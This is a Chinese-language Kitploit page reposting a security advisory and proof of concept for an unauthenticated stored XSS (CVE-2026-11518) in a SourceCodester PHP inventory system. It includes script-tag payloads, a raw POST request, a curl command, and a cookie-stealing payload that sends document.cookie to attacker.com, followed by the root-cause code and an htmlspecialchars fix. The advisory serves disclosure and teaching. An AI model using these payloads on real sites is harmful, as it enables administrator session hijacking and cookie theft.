Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/xmyronn/cve-2026-11518-xss
漏洞分析Web应用程序漏洞利用Web安全CTF渗透测试学习与教育
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

针对SourceCodester库存系统中未经认证的存储型XSS的概念验证,演示了通过精心构造的注册负载劫持管理员会话。

查看仓库
133个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

使用PHP和MySQL的库存系统中的存储型XSS漏洞

漏洞详情

字段详情
漏洞类型存储型跨站脚本 (Stored XSS)
受影响的应用使用PHP和MySQL的库存管理系统
供应商SourceCodester
受影响版本1.0
受影响文件register.php
参数fullname, username
是否需要认证否(未认证)
影响管理员会话劫持,在管理面板中执行恶意脚本
CVSS 评分8.8(高危)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

描述

SourceCodester 提交的 使用PHP和MySQL的库存管理系统(提交于2026年5月23日)在员工注册模块(register.php)中存在**未认证的存储型跨站脚本(Stored XSS)**漏洞。

fullname 和 username 输入字段在将用户输入存储到数据库之前,未进行任何过滤或编码。当管理员访问用户管理页面(users.php)时,未经过滤的载荷会直接渲染到HTML上下文中,导致管理员浏览器会话中立即执行JavaScript。

由于注册无需认证,远程未认证的攻击者可以注入任意JavaScript,这些脚本会在任何查看用户管理面板的管理员浏览器上下文中执行。


攻击场景

  1. 攻击者访问 /product_inventory/register.php —— 无需登录。
  2. 攻击者在 fullname 和/或 username 字段中提交恶意载荷。
  3. 载荷未经过滤直接存入数据库。
  4. 当管理员登录并导航至 /product_inventory/users.php 时,载荷在管理员浏览器中自动执行。
  5. 攻击者可窃取管理员的会话Cookie,将管理员重定向至钓鱼页面,或代替管理员执行任意操作。

概念验证 (PoC)

步骤 1 — 导航至注册页面(无需认证)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

步骤 2 — 提交以下注册表单

全名字段载荷:

root@kitploit:~
<script>alert(1)</script>

用户名字段载荷:

root@kitploit:~
<script>alert(2)</script>

密码: 任意值(例如 test1234)

步骤 3 — HTTP 请求(Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

curl 等效命令:

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

步骤 4 — 以管理员身份触发

以管理员身份登录并导航至:

root@kitploit:~
http://<TARGET>/product_inventory/users.php

两个载荷在页面加载时立即执行。


影响

未认证攻击者可实现以下操作:

  • 窃取管理员会话Cookie — 升级为完全的管理员账户接管
  • 将管理员重定向至钓鱼页面
  • 通过JavaScript静默执行管理员级操作(创建/删除用户、操纵库存)
  • 在管理面板中部署持久化键盘记录器
  • 篡改管理界面

会话Cookie窃取载荷示例(替换为攻击者服务器地址):

root@kitploit:~
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

截图

步骤 1 — 在注册表单中注入载荷

2026-05-24 051430 截图

步骤 2 — XSS 在管理员 users.php 页面触发

2026-05-24 051452 截图

受影响代码(根因)

漏洞产生的原因是 register.php 将用户输入直接插入数据库而未进行过滤,而 users.php 输出存储的值时未使用 htmlspecialchars() 进行编码。

users.php 中的漏洞模式(近似):

root@kitploit:~
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

修复方法——应用输出编码:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

此外,在 register.php 插入时,应使用 strip_tags() 或带正确验证的预处理语句对输入进行过滤。


修复建议

  1. 在渲染用户提供的数据到HTML之前,始终使用 htmlspecialchars() 配合 ENT_QUOTES 进行输出编码。
  2. 在服务器端对所有输入字段进行验证和过滤。
  3. 实施内容安全策略(CSP)标头以减轻XSS影响。

参考

  • SourceCodester — 使用PHP和MySQL的库存管理系统

报告人:Syed Imad Uddin Alvi — 独立安全研究员

下载工具